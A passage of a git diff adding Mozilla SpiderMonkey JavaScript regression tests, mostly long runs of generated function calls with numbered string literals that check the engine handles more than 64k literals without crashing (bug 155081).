+f('66913','66914','66915','66916');
+f('66917','66918','66919','66920');
+f('66921','66922','66923','66924');
+f('66925','66926','66927','66928');
+f('66929','66930','66931','66932');
+f('66933','66934','66935','66936');
+f('66937','66938','66939','66940');
+f('66941','66942','66943','66944');
+f('66945','66946','66947','66948');
+f('66949','66950','66951','66952');
+f('66953','66954','66955','66956');
+f('66957','66958','66959','66960');
+f('66961','66962','66963','66964');
+f('66965','66966','66967','66968');
+f('66969','66970','66971','66972');
+f('66973','66974','66975','66976');
+f('66977','66978','66979','66980');
+f('66981','66982','66983','66984');
+f('66985','66986','66987','66988');
+f('66989','66990','66991','66992');
+f('66993','66994','66995','66996');
+f('66997','66998','66999','67000');
+f('67001','67002','67003','67004');
+f('67005','67006','67007','67008');
+f('67009','67010','67011','67012');
+f('67013','67014','67015','67016');
+f('67017','67018','67019','67020');
+f('67021','67022','67023','67024');
+f('67025','67026','67027','67028');
+f('67029','67030','67031','67032');
+f('67033','67034','67035','67036');
+f('67037','67038','67039','67040');
+f('67041','67042','67043','67044');
+f('67045','67046','67047','67048');
+f('67049','67050','67051','67052');
+f('67053','67054','67055','67056');
+f('67057','67058','67059','67060');
+f('67061','67062','67063','67064');
+f('67065','67066','67067','67068');
+f('67069','67070','67071','67072');
+f('67073','67074','67075','67076');
+f('67077','67078','67079','67080');
+f('67081','67082','67083','67084');
+f('67085','67086','67087','67088');
+f('67089','67090','67091','67092');
+f('67093','67094','67095','67096');
+f('67097','67098','67099','67100');
+f('67101','67102','67103','67104');
+f('67105','67106','67107','67108');
+f('67109','67110','67111','67112');
+f('67113','67114','67115','67116');
+f('67117','67118','67119','67120');
+f('67121','67122','67123','67124');
+f('67125','67126','67127','67128');
+f('67129','67130','67131','67132');
+f('67133','67134','67135','67136');
+f('67137','67138','67139','67140');
+f('67141','67142','67143','67144');
+f('67145','67146','67147','67148');
+f('67149','67150','67151','67152');
+f('67153','67154','67155','67156');
+f('67157','67158','67159','67160');
+f('67161','67162','67163','67164');
+f('67165','67166','67167','67168');
+f('67169','67170','67171','67172');
+f('67173','67174','67175','67176');
+f('67177','67178','67179','67180');
+f('67181','67182','67183','67184');
+f('67185','67186','67187','67188');
+f('67189','67190','67191','67192');
+f('67193','67194','67195','67196');
+f('67197','67198','67199','67200');
+f('67201','67202','67203','67204');
+f('67205','67206','67207','67208');
+f('67209','67210','67211','67212');
+f('67213','67214','67215','67216');
+f('67217','67218','67219','67220');
+f('67221','67222','67223','67224');
+f('67225','67226','67227','67228');
+f('67229','67230','67231','67232');
+f('67233','67234','67235','67236');
+f('67237','67238','67239','67240');
+f('67241','67242','67243','67244');
+f('67245','67246','67247','67248');
+f('67249','67250','67251','67252');
+f('67253','67254','67255','67256');
+f('67257','67258','67259','67260');
+f('67261','67262','67263','67264');
+f('67265','67266','67267','67268');
+f('67269','67270','67271','67272');
+f('67273','67274','67275','67276');
+f('67277','67278','67279','67280');
+f('67281','67282','67283','67284');
+f('67285','67286','67287','67288');
+f('67289','67290','67291','67292');
+f('67293','67294','67295','67296');
+f('67297','67298','67299','67300');
+f('67301','67302','67303','67304');
+f('67305','67306','67307','67308');
+f('67309','67310','67311','67312');
+f('67313','67314','67315','67316');
+f('67317','67318','67319','67320');
+f('67321','67322','67323','67324');
+f('67325','67326','67327','67328');
+f('67329','67330','67331','67332');
+f('67333','67334','67335','67336');
+f('67337','67338','67339','67340');
+f('67341','67342','67343','67344');
+f('67345','67346','67347','67348');
+f('67349','67350','67351','67352');
+f('67353','67354','67355','67356');
+f('67357','67358','67359','67360');
+f('67361','67362','67363','67364');
+f('67365','67366','67367','67368');
+f('67369','67370','67371','67372');
+f('67373','67374','67375','67376');
+f('67377','67378','67379','67380');
+f('67381','67382','67383','67384');
+f('67385','67386','67387','67388');
+f('67389','67390','67391','67392');
+f('67393','67394','67395','67396');
+f('67397','67398','67399','67400');
+f('67401','67402','67403','67404');
+f('67405','67406','67407','67408');
+f('67409','67410','67411','67412');
+f('67413','67414','67415','67416');
+f('67417','67418','67419','67420');
+f('67421','67422','67423','67424');
+f('67425','67426','67427','67428');
+f('67429','67430','67431','67432');
+f('67433','67434','67435','67436');
+f('67437','67438','67439','67440');
+f('67441','67442','67443','67444');
+f('67445','67446','67447','67448');
+f('67449','67450','67451','67452');
+f('67453','67454','67455','67456');
+f('67457','67458','67459','67460');
+f('67461','67462','67463','67464');
+f('67465','67466','67467','67468');
+f('67469','67470','67471','67472');
+f('67473','67474','67475','67476');
+f('67477','67478','67479','67480');
+f('67481','67482','67483','67484');
+f('67485','67486','67487','67488');
+f('67489','67490','67491','67492');
+f('67493','67494','67495','67496');
+f('67497','67498','67499','67500');
+f('67501','67502','67503','67504');
+f('67505','67506','67507','67508');
+f('67509','67510','67511','67512');
+f('67513','67514','67515','67516');
+f('67517','67518','67519','67520');
+f('67521','67522','67523','67524');
+f('67525','67526','67527','67528');
+f('67529','67530','67531','67532');
+f('67533','67534','67535','67536');
+f('67537','67538','67539','67540');
+f('67541','67542','67543','67544');
+f('67545','67546','67547','67548');
+f('67549','67550','67551','67552');
+f('67553','67554','67555','67556');
+f('67557','67558','67559','67560');
+f('67561','67562','67563','67564');
+f('67565','67566','67567','67568');
+f('67569','67570','67571','67572');
+f('67573','67574','67575','67576');
+f('67577','67578','67579','67580');
+f('67581','67582','67583','67584');
+f('67585','67586','67587','67588');
+f('67589','67590','67591','67592');
+f('67593','67594','67595','67596');
+f('67597','67598','67599','67600');
+f('67601','67602','67603','67604');
+f('67605','67606','67607','67608');
+f('67609','67610','67611','67612');
+f('67613','67614','67615','67616');
+f('67617','67618','67619','67620');
+f('67621','67622','67623','67624');
+f('67625','67626','67627','67628');
+f('67629','67630','67631','67632');
+f('67633','67634','67635','67636');
+f('67637','67638','67639','67640');
+f('67641','67642','67643','67644');
+f('67645','67646','67647','67648');
+f('67649','67650','67651','67652');
+f('67653','67654','67655','67656');
+f('67657','67658','67659','67660');
+f('67661','67662','67663','67664');
+f('67665','67666','67667','67668');
+f('67669','67670','67671','67672');
+f('67673','67674','67675','67676');
+f('67677','67678','67679','67680');
+f('67681','67682','67683','67684');
+f('67685','67686','67687','67688');
+f('67689','67690','67691','67692');
+f('67693','67694','67695','67696');
+f('67697','67698','67699','67700');
+f('67701','67702','67703','67704');
+f('67705','67706','67707','67708');
+f('67709','67710','67711','67712');
+f('67713','67714','67715','67716');
+f('67717','67718','67719','67720');
+f('67721','67722','67723','67724');
+f('67725','67726','67727','67728');
+f('67729','67730','67731','67732');
+f('67733','67734','67735','67736');
+f('67737','67738','67739','67740');
+f('67741','67742','67743','67744');
+f('67745','67746','67747','67748');
+f('67749','67750','67751','67752');
+f('67753','67754','67755','67756');
+f('67757','67758','67759','67760');
+f('67761','67762','67763','67764');
+f('67765','67766','67767','67768');
+f('67769','67770','67771','67772');
+f('67773','67774','67775','67776');
+f('67777','67778','67779','67780');
+f('67781','67782','67783','67784');
+f('67785','67786','67787','67788');
+f('67789','67790','67791','67792');
+f('67793','67794','67795','67796');
+f('67797','67798','67799','67800');
+f('67801','67802','67803','67804');
+f('67805','67806','67807','67808');
+f('67809','67810','67811','67812');
+f('67813','67814','67815','67816');
+f('67817','67818','67819','67820');
+f('67821','67822','67823','67824');
+f('67825','67826','67827','67828');
+f('67829','67830','67831','67832');
+f('67833','67834','67835','67836');
+f('67837','67838','67839','67840');
+f('67841','67842','67843','67844');
+f('67845','67846','67847','67848');
+f('67849','67850','67851','67852');
+f('67853','67854','67855','67856');
+f('67857','67858','67859','67860');
+f('67861','67862','67863','67864');
+f('67865','67866','67867','67868');
+f('67869','67870','67871','67872');
+f('67873','67874','67875','67876');
+f('67877','67878','67879','67880');
+f('67881','67882','67883','67884');
+f('67885','67886','67887','67888');
+f('67889','67890','67891','67892');
+f('67893','67894','67895','67896');
+f('67897','67898','67899','67900');
+f('67901','67902','67903','67904');
+f('67905','67906','67907','67908');
+f('67909','67910','67911','67912');
+f('67913','67914','67915','67916');
+f('67917','67918','67919','67920');
+f('67921','67922','67923','67924');
+f('67925','67926','67927','67928');
+f('67929','67930','67931','67932');
+f('67933','67934','67935','67936');
+f('67937','67938','67939','67940');
+f('67941','67942','67943','67944');
+f('67945','67946','67947','67948');
+f('67949','67950','67951','67952');
+f('67953','67954','67955','67956');
+f('67957','67958','67959','67960');
+f('67961','67962','67963','67964');
+f('67965','67966','67967','67968');
+f('67969','67970','67971','67972');
+f('67973','67974','67975','67976');
+f('67977','67978','67979','67980');
+f('67981','67982','67983','67984');
+f('67985','67986','67987','67988');
+f('67989','67990','67991','67992');
+f('67993','67994','67995','67996');
+f('67997','67998','67999','68000');
+f('68001','68002','68003','68004');
+f('68005','68006','68007','68008');
+f('68009','68010','68011','68012');
+f('68013','68014','68015','68016');
+f('68017','68018','68019','68020');
+f('68021','68022','68023','68024');
+f('68025','68026','68027','68028');
+f('68029','68030','68031','68032');
+f('68033','68034','68035','68036');
+f('68037','68038','68039','68040');
+f('68041','68042','68043','68044');
+f('68045','68046','68047','68048');
+f('68049','68050','68051','68052');
+f('68053','68054','68055','68056');
+f('68057','68058','68059','68060');
+f('68061','68062','68063','68064');
+f('68065','68066','68067','68068');
+f('68069','68070','68071','68072');
+f('68073','68074','68075','68076');
+f('68077','68078','68079','68080');
+f('68081','68082','68083','68084');
+f('68085','68086','68087','68088');
+f('68089','68090','68091','68092');
+f('68093','68094','68095','68096');
+f('68097','68098','68099','68100');
+f('68101','68102','68103','68104');
+f('68105','68106','68107','68108');
+f('68109','68110','68111','68112');
+f('68113','68114','68115','68116');
+f('68117','68118','68119','68120');
+f('68121','68122','68123','68124');
+f('68125','68126','68127','68128');
+f('68129','68130','68131','68132');
+f('68133','68134','68135','68136');
+f('68137','68138','68139','68140');
+f('68141','68142','68143','68144');
+f('68145','68146','68147','68148');
+f('68149','68150','68151','68152');
+f('68153','68154','68155','68156');
+f('68157','68158','68159','68160');
+f('68161','68162','68163','68164');
+f('68165','68166','68167','68168');
+f('68169','68170','68171','68172');
+f('68173','68174','68175','68176');
+f('68177','68178','68179','68180');
+f('68181','68182','68183','68184');
+f('68185','68186','68187','68188');
+f('68189','68190','68191','68192');
+f('68193','68194','68195','68196');
+f('68197','68198','68199','68200');
+f('68201','68202','68203','68204');
+f('68205','68206','68207','68208');
+f('68209','68210','68211','68212');
+f('68213','68214','68215','68216');
+f('68217','68218','68219','68220');
+f('68221','68222','68223','68224');
+f('68225','68226','68227','68228');
+f('68229','68230','68231','68232');
+f('68233','68234','68235','68236');
+f('68237','68238','68239','68240');
+f('68241','68242','68243','68244');
+f('68245','68246','68247','68248');
+f('68249','68250','68251','68252');
+f('68253','68254','68255','68256');
+f('68257','68258','68259','68260');
+f('68261','68262','68263','68264');
+f('68265','68266','68267','68268');
+f('68269','68270','68271','68272');
+f('68273','68274','68275','68276');
+f('68277','68278','68279','68280');
+f('68281','68282','68283','68284');
+f('68285','68286','68287','68288');
+f('68289','68290','68291','68292');
+f('68293','68294','68295','68296');
+f('68297','68298','68299','68300');
+f('68301','68302','68303','68304');
+f('68305','68306','68307','68308');
+f('68309','68310','68311','68312');
+f('68313','68314','68315','68316');
+f('68317','68318','68319','68320');
+f('68321','68322','68323','68324');
+f('68325','68326','68327','68328');
+f('68329','68330','68331','68332');
+f('68333','68334','68335','68336');
+f('68337','68338','68339','68340');
+f('68341','68342','68343','68344');
+f('68345','68346','68347','68348');
+f('68349','68350','68351','68352');
+f('68353','68354','68355','68356');
+f('68357','68358','68359','68360');
+f('68361','68362','68363','68364');
+f('68365','68366','68367','68368');
+f('68369','68370','68371','68372');
+f('68373','68374','68375','68376');
+f('68377','68378','68379','68380');
+f('68381','68382','68383','68384');
+f('68385','68386','68387','68388');
+f('68389','68390','68391','68392');
+f('68393','68394','68395','68396');
+f('68397','68398','68399','68400');
+f('68401','68402','68403','68404');
+f('68405','68406','68407','68408');
+f('68409','68410','68411','68412');
+f('68413','68414','68415','68416');
+f('68417','68418','68419','68420');
+f('68421','68422','68423','68424');
+f('68425','68426','68427','68428');
+f('68429','68430','68431','68432');
+f('68433','68434','68435','68436');
+f('68437','68438','68439','68440');
+f('68441','68442','68443','68444');
+f('68445','68446','68447','68448');
+f('68449','68450','68451','68452');
+f('68453','68454','68455','68456');
+f('68457','68458','68459','68460');
+f('68461','68462','68463','68464');
+f('68465','68466','68467','68468');
+f('68469','68470','68471','68472');
+f('68473','68474','68475','68476');
+f('68477','68478','68479','68480');
+f('68481','68482','68483','68484');
+f('68485','68486','68487','68488');
+f('68489','68490','68491','68492');
+f('68493','68494','68495','68496');
+f('68497','68498','68499','68500');
+f('68501','68502','68503','68504');
+f('68505','68506','68507','68508');
+f('68509','68510','68511','68512');
+f('68513','68514','68515','68516');
+f('68517','68518','68519','68520');
+f('68521','68522','68523','68524');
+f('68525','68526','68527','68528');
+f('68529','68530','68531','68532');
+f('68533','68534','68535','68536');
+f('68537','68538','68539','68540');
+f('68541','68542','68543','68544');
+f('68545','68546','68547','68548');
+f('68549','68550','68551','68552');
+f('68553','68554','68555','68556');
+f('68557','68558','68559','68560');
+f('68561','68562','68563','68564');
+f('68565','68566','68567','68568');
+f('68569','68570','68571','68572');
+f('68573','68574','68575','68576');
+f('68577','68578','68579','68580');
+f('68581','68582','68583','68584');
+f('68585','68586','68587','68588');
+f('68589','68590','68591','68592');
+f('68593','68594','68595','68596');
+f('68597','68598','68599','68600');
+f('68601','68602','68603','68604');
+f('68605','68606','68607','68608');
+f('68609','68610','68611','68612');
+f('68613','68614','68615','68616');
+f('68617','68618','68619','68620');
+f('68621','68622','68623','68624');
+f('68625','68626','68627','68628');
+f('68629','68630','68631','68632');
+f('68633','68634','68635','68636');
+f('68637','68638','68639','68640');
+f('68641','68642','68643','68644');
+f('68645','68646','68647','68648');
+f('68649','68650','68651','68652');
+f('68653','68654','68655','68656');
+f('68657','68658','68659','68660');
+f('68661','68662','68663','68664');
+f('68665','68666','68667','68668');
+f('68669','68670','68671','68672');
+f('68673','68674','68675','68676');
+f('68677','68678','68679','68680');
+f('68681','68682','68683','68684');
+f('68685','68686','68687','68688');
+f('68689','68690','68691','68692');
+f('68693','68694','68695','68696');
+f('68697','68698','68699','68700');
+f('68701','68702','68703','68704');
+f('68705','68706','68707','68708');
+f('68709','68710','68711','68712');
+f('68713','68714','68715','68716');
+f('68717','68718','68719','68720');
+f('68721','68722','68723','68724');
+f('68725','68726','68727','68728');
+f('68729','68730','68731','68732');
+f('68733','68734','68735','68736');
+f('68737','68738','68739','68740');
+f('68741','68742','68743','68744');
+f('68745','68746','68747','68748');
+f('68749','68750','68751','68752');
+f('68753','68754','68755','68756');
+f('68757','68758','68759','68760');
+f('68761','68762','68763','68764');
+f('68765','68766','68767','68768');
+f('68769','68770','68771','68772');
+f('68773','68774','68775','68776');
+f('68777','68778','68779','68780');
+f('68781','68782','68783','68784');
+f('68785','68786','68787','68788');
+f('68789','68790','68791','68792');
+f('68793','68794','68795','68796');
+f('68797','68798','68799','68800');
+f('68801','68802','68803','68804');
+f('68805','68806','68807','68808');
+f('68809','68810','68811','68812');
+f('68813','68814','68815','68816');
+f('68817','68818','68819','68820');
+f('68821','68822','68823','68824');
+f('68825','68826','68827','68828');
+f('68829','68830','68831','68832');
+f('68833','68834','68835','68836');
+f('68837','68838','68839','68840');
+f('68841','68842','68843','68844');
+f('68845','68846','68847','68848');
+f('68849','68850','68851','68852');
+f('68853','68854','68855','68856');
+f('68857','68858','68859','68860');
+f('68861','68862','68863','68864');
+f('68865','68866','68867','68868');
+f('68869','68870','68871','68872');
+f('68873','68874','68875','68876');
+f('68877','68878','68879','68880');
+f('68881','68882','68883','68884');
+f('68885','68886','68887','68888');
+f('68889','68890','68891','68892');
+f('68893','68894','68895','68896');
+f('68897','68898','68899','68900');
+f('68901','68902','68903','68904');
+f('68905','68906','68907','68908');
+f('68909','68910','68911','68912');
+f('68913','68914','68915','68916');
+f('68917','68918','68919','68920');
+f('68921','68922','68923','68924');
+f('68925','68926','68927','68928');
+f('68929','68930','68931','68932');
+f('68933','68934','68935','68936');
+f('68937','68938','68939','68940');
+f('68941','68942','68943','68944');
+f('68945','68946','68947','68948');
+f('68949','68950','68951','68952');
+f('68953','68954','68955','68956');
+f('68957','68958','68959','68960');
+f('68961','68962','68963','68964');
+f('68965','68966','68967','68968');
+f('68969','68970','68971','68972');
+f('68973','68974','68975','68976');
+f('68977','68978','68979','68980');
+f('68981','68982','68983','68984');
+f('68985','68986','68987','68988');
+f('68989','68990','68991','68992');
+f('68993','68994','68995','68996');
+f('68997','68998','68999','69000');
+f('69001','69002','69003','69004');
+f('69005','69006','69007','69008');
+f('69009','69010','69011','69012');
+f('69013','69014','69015','69016');
+f('69017','69018','69019','69020');
+f('69021','69022','69023','69024');
+f('69025','69026','69027','69028');
+f('69029','69030','69031','69032');
+f('69033','69034','69035','69036');
+f('69037','69038','69039','69040');
+f('69041','69042','69043','69044');
+f('69045','69046','69047','69048');
+f('69049','69050','69051','69052');
+f('69053','69054','69055','69056');
+f('69057','69058','69059','69060');
+f('69061','69062','69063','69064');
+f('69065','69066','69067','69068');
+f('69069','69070','69071','69072');
+f('69073','69074','69075','69076');
+f('69077','69078','69079','69080');
+f('69081','69082','69083','69084');
+f('69085','69086','69087','69088');
+f('69089','69090','69091','69092');
+f('69093','69094','69095','69096');
+f('69097','69098','69099','69100');
+f('69101','69102','69103','69104');
+f('69105','69106','69107','69108');
+f('69109','69110','69111','69112');
+f('69113','69114','69115','69116');
+f('69117','69118','69119','69120');
+f('69121','69122','69123','69124');
+f('69125','69126','69127','69128');
+f('69129','69130','69131','69132');
+f('69133','69134','69135','69136');
+f('69137','69138','69139','69140');
+f('69141','69142','69143','69144');
+f('69145','69146','69147','69148');
+f('69149','69150','69151','69152');
+f('69153','69154','69155','69156');
+f('69157','69158','69159','69160');
+f('69161','69162','69163','69164');
+f('69165','69166','69167','69168');
+f('69169','69170','69171','69172');
+f('69173','69174','69175','69176');
+f('69177','69178','69179','69180');
+f('69181','69182','69183','69184');
+f('69185','69186','69187','69188');
+f('69189','69190','69191','69192');
+f('69193','69194','69195','69196');
+f('69197','69198','69199','69200');
+f('69201','69202','69203','69204');
+f('69205','69206','69207','69208');
+f('69209','69210','69211','69212');
+f('69213','69214','69215','69216');
+f('69217','69218','69219','69220');
+f('69221','69222','69223','69224');
+f('69225','69226','69227','69228');
+f('69229','69230','69231','69232');
+f('69233','69234','69235','69236');
+f('69237','69238','69239','69240');
+f('69241','69242','69243','69244');
+f('69245','69246','69247','69248');
+f('69249','69250','69251','69252');
+f('69253','69254','69255','69256');
+f('69257','69258','69259','69260');
+f('69261','69262','69263','69264');
+f('69265','69266','69267','69268');
+f('69269','69270','69271','69272');
+f('69273','69274','69275','69276');
+f('69277','69278','69279','69280');
+f('69281','69282','69283','69284');
+f('69285','69286','69287','69288');
+f('69289','69290','69291','69292');
+f('69293','69294','69295','69296');
+f('69297','69298','69299','69300');
+f('69301','69302','69303','69304');
+f('69305','69306','69307','69308');
+f('69309','69310','69311','69312');
+f('69313','69314','69315','69316');
+f('69317','69318','69319','69320');
+f('69321','69322','69323','69324');
+f('69325','69326','69327','69328');
+f('69329','69330','69331','69332');
+f('69333','69334','69335','69336');
+f('69337','69338','69339','69340');
+f('69341','69342','69343','69344');
+f('69345','69346','69347','69348');
+f('69349','69350','69351','69352');
+f('69353','69354','69355','69356');
+f('69357','69358','69359','69360');
+f('69361','69362','69363','69364');
+f('69365','69366','69367','69368');
+f('69369','69370','69371','69372');
+f('69373','69374','69375','69376');
+f('69377','69378','69379','69380');
+f('69381','69382','69383','69384');
+f('69385','69386','69387','69388');
+f('69389','69390','69391','69392');
+f('69393','69394','69395','69396');
+f('69397','69398','69399','69400');
+f('69401','69402','69403','69404');
+f('69405','69406','69407','69408');
+f('69409','69410','69411','69412');
+f('69413','69414','69415','69416');
+f('69417','69418','69419','69420');
+f('69421','69422','69423','69424');
+f('69425','69426','69427','69428');
+f('69429','69430','69431','69432');
+f('69433','69434','69435','69436');
+f('69437','69438','69439','69440');
+f('69441','69442','69443','69444');
+f('69445','69446','69447','69448');
+f('69449','69450','69451','69452');
+f('69453','69454','69455','69456');
+f('69457','69458','69459','69460');
+f('69461','69462','69463','69464');
+f('69465','69466','69467','69468');
+f('69469','69470','69471','69472');
+f('69473','69474','69475','69476');
+f('69477','69478','69479','69480');
+f('69481','69482','69483','69484');
+f('69485','69486','69487','69488');
+f('69489','69490','69491','69492');
+f('69493','69494','69495','69496');
+f('69497','69498','69499','69500');
+f('69501','69502','69503','69504');
+f('69505','69506','69507','69508');
+f('69509','69510','69511','69512');
+f('69513','69514','69515','69516');
+f('69517','69518','69519','69520');
+f('69521','69522','69523','69524');
+f('69525','69526','69527','69528');
+f('69529','69530','69531','69532');
+f('69533','69534','69535','69536');
+f('69537','69538','69539','69540');
+f('69541','69542','69543','69544');
+f('69545','69546','69547','69548');
+f('69549','69550','69551','69552');
+f('69553','69554','69555','69556');
+f('69557','69558','69559','69560');
+f('69561','69562','69563','69564');
+f('69565','69566','69567','69568');
+f('69569','69570','69571','69572');
+f('69573','69574','69575','69576');
+f('69577','69578','69579','69580');
+f('69581','69582','69583','69584');
+f('69585','69586','69587','69588');
+f('69589','69590','69591','69592');
+f('69593','69594','69595','69596');
+f('69597','69598','69599','69600');
+f('69601','69602','69603','69604');
+f('69605','69606','69607','69608');
+f('69609','69610','69611','69612');
+f('69613','69614','69615','69616');
+f('69617','69618','69619','69620');
+f('69621','69622','69623','69624');
+f('69625','69626','69627','69628');
+f('69629','69630','69631','69632');
+f('69633','69634','69635','69636');
+f('69637','69638','69639','69640');
+f('69641','69642','69643','69644');
+f('69645','69646','69647','69648');
+f('69649','69650','69651','69652');
+f('69653','69654','69655','69656');
+f('69657','69658','69659','69660');
+f('69661','69662','69663','69664');
+f('69665','69666','69667','69668');
+f('69669','69670','69671','69672');
+f('69673','69674','69675','69676');
+f('69677','69678','69679','69680');
+f('69681','69682','69683','69684');
+f('69685','69686','69687','69688');
+f('69689','69690','69691','69692');
+f('69693','69694','69695','69696');
+f('69697','69698','69699','69700');
+f('69701','69702','69703','69704');
+f('69705','69706','69707','69708');
+f('69709','69710','69711','69712');
+f('69713','69714','69715','69716');
+f('69717','69718','69719','69720');
+f('69721','69722','69723','69724');
+f('69725','69726','69727','69728');
+f('69729','69730','69731','69732');
+f('69733','69734','69735','69736');
+f('69737','69738','69739','69740');
+f('69741','69742','69743','69744');
+f('69745','69746','69747','69748');
+f('69749','69750','69751','69752');
+f('69753','69754','69755','69756');
+f('69757','69758','69759','69760');
+f('69761','69762','69763','69764');
+f('69765','69766','69767','69768');
+f('69769','69770','69771','69772');
+f('69773','69774','69775','69776');
+f('69777','69778','69779','69780');
+f('69781','69782','69783','69784');
+f('69785','69786','69787','69788');
+f('69789','69790','69791','69792');
+f('69793','69794','69795','69796');
+f('69797','69798','69799','69800');
+f('69801','69802','69803','69804');
+f('69805','69806','69807','69808');
+f('69809','69810','69811','69812');
+f('69813','69814','69815','69816');
+f('69817','69818','69819','69820');
+f('69821','69822','69823','69824');
+f('69825','69826','69827','69828');
+f('69829','69830','69831','69832');
+f('69833','69834','69835','69836');
+f('69837','69838','69839','69840');
+f('69841','69842','69843','69844');
+f('69845','69846','69847','69848');
+f('69849','69850','69851','69852');
+f('69853','69854','69855','69856');
+f('69857','69858','69859','69860');
+f('69861','69862','69863','69864');
+f('69865','69866','69867','69868');
+f('69869','69870','69871','69872');
+f('69873','69874','69875','69876');
+f('69877','69878','69879','69880');
+f('69881','69882','69883','69884');
+f('69885','69886','69887','69888');
+f('69889','69890','69891','69892');
+f('69893','69894','69895','69896');
+f('69897','69898','69899','69900');
+f('69901','69902','69903','69904');
+f('69905','69906','69907','69908');
+f('69909','69910','69911','69912');
+f('69913','69914','69915','69916');
+f('69917','69918','69919','69920');
+f('69921','69922','69923','69924');
+f('69925','69926','69927','69928');
+f('69929','69930','69931','69932');
+f('69933','69934','69935','69936');
+f('69937','69938','69939','69940');
+f('69941','69942','69943','69944');
+f('69945','69946','69947','69948');
+f('69949','69950','69951','69952');
+f('69953','69954','69955','69956');
+f('69957','69958','69959','69960');
+f('69961','69962','69963','69964');
+f('69965','69966','69967','69968');
+f('69969','69970','69971','69972');
+f('69973','69974','69975','69976');
+f('69977','69978','69979','69980');
+f('69981','69982','69983','69984');
+f('69985','69986','69987','69988');
+f('69989','69990','69991','69992');
+f('69993','69994','69995','69996');
+f('69997','69998','69999','70000');
+
+actual = 'No Crash, No Error';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-155081.js b/js/src/tests/non262/regress/regress-155081.js
new file mode 100644
index 0000000000..9c52cf8de6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-155081.js
@@ -0,0 +1,17527 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 155081;
+var summary = 'Limit of 64k literals';
+var actual = 'No Crash';
+var expect = 'No Crash, No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f(A,B,C,D) {}
+
+try
+{
+ f('1','2','3','4');
+ f('5','6','7','8');
+ f('9','10','11','12');
+ f('13','14','15','16');
+ f('17','18','19','20');
+ f('21','22','23','24');
+ f('25','26','27','28');
+ f('29','30','31','32');
+ f('33','34','35','36');
+ f('37','38','39','40');
+ f('41','42','43','44');
+ f('45','46','47','48');
+ f('49','50','51','52');
+ f('53','54','55','56');
+ f('57','58','59','60');
+ f('61','62','63','64');
+ f('65','66','67','68');
+ f('69','70','71','72');
+ f('73','74','75','76');
+ f('77','78','79','80');
+ f('81','82','83','84');
+ f('85','86','87','88');
+ f('89','90','91','92');
+ f('93','94','95','96');
+ f('97','98','99','100');
+ f('101','102','103','104');
+ f('105','106','107','108');
+ f('109','110','111','112');
+ f('113','114','115','116');
+ f('117','118','119','120');
+ f('121','122','123','124');
+ f('125','126','127','128');
+ f('129','130','131','132');
+ f('133','134','135','136');
+ f('137','138','139','140');
+ f('141','142','143','144');
+ f('145','146','147','148');
+ f('149','150','151','152');
+ f('153','154','155','156');
+ f('157','158','159','160');
+ f('161','162','163','164');
+ f('165','166','167','168');
+ f('169','170','171','172');
+ f('173','174','175','176');
+ f('177','178','179','180');
+ f('181','182','183','184');
+ f('185','186','187','188');
+ f('189','190','191','192');
+ f('193','194','195','196');
+ f('197','198','199','200');
+ f('201','202','203','204');
+ f('205','206','207','208');
+ f('209','210','211','212');
+ f('213','214','215','216');
+ f('217','218','219','220');
+ f('221','222','223','224');
+ f('225','226','227','228');
+ f('229','230','231','232');
+ f('233','234','235','236');
+ f('237','238','239','240');
+ f('241','242','243','244');
+ f('245','246','247','248');
+ f('249','250','251','252');
+ f('253','254','255','256');
+ f('257','258','259','260');
+ f('261','262','263','264');
+ f('265','266','267','268');
+ f('269','270','271','272');
+ f('273','274','275','276');
+ f('277','278','279','280');
+ f('281','282','283','284');
+ f('285','286','287','288');
+ f('289','290','291','292');
+ f('293','294','295','296');
+ f('297','298','299','300');
+ f('301','302','303','304');
+ f('305','306','307','308');
+ f('309','310','311','312');
+ f('313','314','315','316');
+ f('317','318','319','320');
+ f('321','322','323','324');
+ f('325','326','327','328');
+ f('329','330','331','332');
+ f('333','334','335','336');
+ f('337','338','339','340');
+ f('341','342','343','344');
+ f('345','346','347','348');
+ f('349','350','351','352');
+ f('353','354','355','356');
+ f('357','358','359','360');
+ f('361','362','363','364');
+ f('365','366','367','368');
+ f('369','370','371','372');
+ f('373','374','375','376');
+ f('377','378','379','380');
+ f('381','382','383','384');
+ f('385','386','387','388');
+ f('389','390','391','392');
+ f('393','394','395','396');
+ f('397','398','399','400');
+ f('401','402','403','404');
+ f('405','406','407','408');
+ f('409','410','411','412');
+ f('413','414','415','416');
+ f('417','418','419','420');
+ f('421','422','423','424');
+ f('425','426','427','428');
+ f('429','430','431','432');
+ f('433','434','435','436');
+ f('437','438','439','440');
+ f('441','442','443','444');
+ f('445','446','447','448');
+ f('449','450','451','452');
+ f('453','454','455','456');
+ f('457','458','459','460');
+ f('461','462','463','464');
+ f('465','466','467','468');
+ f('469','470','471','472');
+ f('473','474','475','476');
+ f('477','478','479','480');
+ f('481','482','483','484');
+ f('485','486','487','488');
+ f('489','490','491','492');
+ f('493','494','495','496');
+ f('497','498','499','500');
+ f('501','502','503','504');
+ f('505','506','507','508');
+ f('509','510','511','512');
+ f('513','514','515','516');
+ f('517','518','519','520');
+ f('521','522','523','524');
+ f('525','526','527','528');
+ f('529','530','531','532');
+ f('533','534','535','536');
+ f('537','538','539','540');
+ f('541','542','543','544');
+ f('545','546','547','548');
+ f('549','550','551','552');
+ f('553','554','555','556');
+ f('557','558','559','560');
+ f('561','562','563','564');
+ f('565','566','567','568');
+ f('569','570','571','572');
+ f('573','574','575','576');
+ f('577','578','579','580');
+ f('581','582','583','584');
+ f('585','586','587','588');
+ f('589','590','591','592');
+ f('593','594','595','596');
+ f('597','598','599','600');
+ f('601','602','603','604');
+ f('605','606','607','608');
+ f('609','610','611','612');
+ f('613','614','615','616');
+ f('617','618','619','620');
+ f('621','622','623','624');
+ f('625','626','627','628');
+ f('629','630','631','632');
+ f('633','634','635','636');
+ f('637','638','639','640');
+ f('641','642','643','644');
+ f('645','646','647','648');
+ f('649','650','651','652');
+ f('653','654','655','656');
+ f('657','658','659','660');
+ f('661','662','663','664');
+ f('665','666','667','668');
+ f('669','670','671','672');
+ f('673','674','675','676');
+ f('677','678','679','680');
+ f('681','682','683','684');
